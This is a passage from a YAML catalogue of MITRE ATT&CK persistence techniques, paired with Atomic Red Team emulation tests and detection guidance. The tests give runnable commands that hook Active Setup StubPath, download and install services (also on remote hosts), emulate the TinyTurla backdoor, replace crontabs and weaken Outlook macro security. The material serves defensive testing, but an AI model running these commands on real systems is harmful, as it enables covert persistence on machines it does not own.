"HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup cleanup_command: |- Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force name: powershell elevation_required: true - name: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number auto_generated_guid: 04d55cef-f283-40ba-ae2a-316bc3b5e78c description: "This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, \nwhich will force the StubPath payload (if set) to execute.\n" supported_platforms: - windows executor: command: | Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0" & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup name: powershell elevation_required: true T1542.005: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4 type: attack-pattern created: '2020-10-20T00:06:56.180Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1542.005 url: https://attack.mitre.org/techniques/T1542/005 - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. - source_name: Cisco IOS Software Integrity Assurance - Secure Boot url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Command History url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. - source_name: Cisco IOS Software Integrity Assurance - Boot Information url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020. modified: '2021-04-29T14:49:39.188Z' name: TFTP Boot description: |- Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Firmware: Firmware Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1543.003: technique: modified: '2024-04-11T19:25:51.394Z' name: 'Create or Modify System Process: Windows Service' description: "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Matthew Demaske, Adaptforward - Pedro Harrison - Mayuresh Dani, Qualys - Wietze Beukema, @wietze - Akshat Pradhan, Qualys - Wirapong Petshagun x_mitre_deprecated: false x_mitre_detection: "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \ \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.5' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Creation' - 'Command: Command Execution' - 'File: File Metadata' - 'Windows Registry: Windows Registry Key Creation' - 'Driver: Driver Load' - 'Service: Service Modification' - 'Process: OS API Execution' x_mitre_effective_permissions: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32 created: '2020-01-17T19:13:50.402Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/003 external_id: T1543.003 - source_name: Microsoft Windows Event Forwarding FEB 2018 description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - source_name: ESET InvisiMole June 2020 description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - source_name: SANS 1 description: Joshua Wright. (2020, October 13). Retrieved March 22, 2024. url: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ - source_name: SANS 2 description: Joshua Wright. (2020, October 14). Retrieved March 22, 2024. url: https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/ - source_name: TechNet Services description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: Microsoft 4697 APR 2017 description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.' url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - source_name: Symantec W.32 Stuxnet Dossier description: Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. url: https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf - source_name: Unit42 AcidBox June 2020 description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.' url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Crowdstrike DriveSlayer February 2022 description: Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022. url: https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.003 atomic_tests: - name: Modify Fax service to run PowerShell auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f description: | This test will temporarily modify the service Fax by changing the binPath to PowerShell and will then revert the binPath change, restoring Fax to its original state. Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn. supported_platforms: - windows executor: name: command_prompt elevation_required: true command: | sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\"" sc start Fax cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1 - name: Service Installation CMD auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6 description: | Download an executable from github and start it as a service. Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_type: description: Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare type: string default: Own startup_type: description: Service start method. May be boot|system|auto|demand|disabled|delayed-auto type: string default: auto service_name: description: Name of the Service type: string default: AtomicTestService_CMD dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: command_prompt elevation_required: true command: | sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe start #{service_name} cleanup_command: | sc.exe stop #{service_name} >nul 2>&1 sc.exe delete #{service_name} >nul 2>&1 - name: Service Installation PowerShell auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77 description: | Installs A Local Service via PowerShell. Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_name: description: Name of the Service type: string default: AtomicTestService_PowerShell dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: powershell elevation_required: true command: | New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}" Start-Service -Name "#{service_name}" cleanup_command: | Stop-Service -Name "#{service_name}" 2>&1 | Out-Null try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()} catch {} - name: TinyTurla backdoor service w64time auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940 description: | It's running Dll as service to emulate the TinyTurla backdoor [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html) supported_platforms: - windows input_arguments: dllfilename: description: It specifies Dll file to run as service type: string default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll" executor: command: |- copy "#{dllfilename}" %systemroot%\system32\ sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto sc config W64Time DisplayName= "Windows 64 Time" sc description W64Time "Maintain date and time synch on all clients and services in the network" reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f sc start W64Time cleanup_command: |- sc stop W64Time sc.exe delete W64Time del %systemroot%\system32\w64time.dll reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f name: command_prompt elevation_required: true - name: Remote Service Installation CMD auto_generated_guid: fb4151a2-db33-4f8c-b7f8-78ea8790f961 description: | Download an executable from github and start it as a service on a remote endpoint Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. supported_platforms: - windows input_arguments: binary_path: description: Name of the service binary, include path. type: path default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe service_type: description: Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare type: string default: Own startup_type: description: Service start method. May be boot,system,auto,demand,disabled,delayed-auto type: string default: auto service_name: description: Name of the Service type: string default: AtomicTestService_CMD remote_host: description: Name of the remote endpoint type: string default: localhost dependency_executor_name: powershell dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) ' prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: command_prompt elevation_required: true command: | sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe \\#{remote_host} start #{service_name} cleanup_command: | sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1 sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1 - name: Modify Service to Run Arbitrary Binary (Powershell) auto_generated_guid: 1f896ce4-8070-4959-8a25-2658856a70c9 description: "This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.\nThis technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)\n" supported_platforms: - windows input_arguments: service_name: description: Name of the service to modify type: string default: fax new_bin_path: description: Path of the new service binary type: String default: "$env:windir\\system32\\notepad.exe" original_bin_path: description: Path of the original service binary type: String default: "$env:windir\\system32\\fxssvc.exe" executor: command: |- Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}" start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null cleanup_command: |- Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null name: powershell elevation_required: true T1053.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c type: attack-pattern created: '2019-12-03T14:25:00.538Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1053.003 url: https://attack.mitre.org/techniques/T1053/003 - source_name: 20 macOS Common Tools and Techniques url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. modified: '2022-05-11T14:00:00.188Z' name: 'Scheduled Task/Job: Cron' description: "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Scheduled Job: Scheduled Job Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1053.003 atomic_tests: - name: Cron - Replace crontab with referenced file auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75 description: 'This test replaces the current user''s crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks. ' supported_platforms: - linux - macos input_arguments: command: description: Command to execute type: string default: "/tmp/evil.sh" tmp_cron: description: Temporary reference file to hold evil cron schedule type: path default: "/tmp/persistevil" executor: name: sh command: | crontab -l > /tmp/notevil echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - macos - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: bash command: | echo "#{command}" > /etc/cron.daily/#{cron_script_name} echo "#{command}" > /etc/cron.hourly/#{cron_script_name} echo "#{command}" > /etc/cron.monthly/#{cron_script_name} echo "#{command}" > /etc/cron.weekly/#{cron_script_name} cleanup_command: | rm /etc/cron.daily/#{cron_script_name} -f rm /etc/cron.hourly/#{cron_script_name} -f rm /etc/cron.monthly/#{cron_script_name} -f rm /etc/cron.weekly/#{cron_script_name} -f - name: Cron - Add script to /etc/cron.d folder auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846' description: 'This test adds a script to /etc/cron.d folder configured to execute on a schedule. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: sh command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name} ' cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f ' - name: Cron - Add script to /var/spool/cron/crontabs/ folder auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4 description: 'This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in /var/spool/cron/crontabs folder type: string default: persistevil executor: elevation_required: true name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f ' T1137: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack x_mitre_contributors: - Nick Carr, Mandiant - Microsoft Threat Intelligence Center (MSTIC) - Sahar Shukrun - Praetorian - Loic Jaquemet - Ricardo Dias object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 type: attack-pattern created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137 url: https://attack.mitre.org/techniques/T1137 - source_name: SensePost Ruler GitHub url: https://github.com/sensepost/ruler description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.' - source_name: TechNet O365 Outlook Rules url: https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/ description: Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019. - source_name: CrowdStrike Outlook Forms url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019. - source_name: Outlook Today Home Page url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019. - source_name: Microsoft Detect Outlook Forms url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019. - source_name: SensePost NotRuler url: https://github.com/sensepost/notruler description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. modified: '2022-04-25T14:00:00.188Z' name: Office Application Startup description: |- Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) x_mitre_version: '1.3' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Application Log: Application Log Content' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'Module: Module Load' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1137 atomic_tests: - name: Office Application Startup - Outlook as a C2 auto_generated_guid: bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c description: "As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ \nit is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.\nToo achieve this two things must happened on the syste\n- The macro security registry value must be set to '4'\n- A file called VbaProject.OTM must be created in the Outlook Folder.\n" supported_platforms: - windows executor: command: | reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1 echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM cleanup_command: | reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /f >nul 2>&1 del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1 name: command_prompt T1098.003: technique: modified: '2024-03-29T18:29:06.873Z' name: 'Account Manipulation: Additional Cloud Roles' description: "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)" 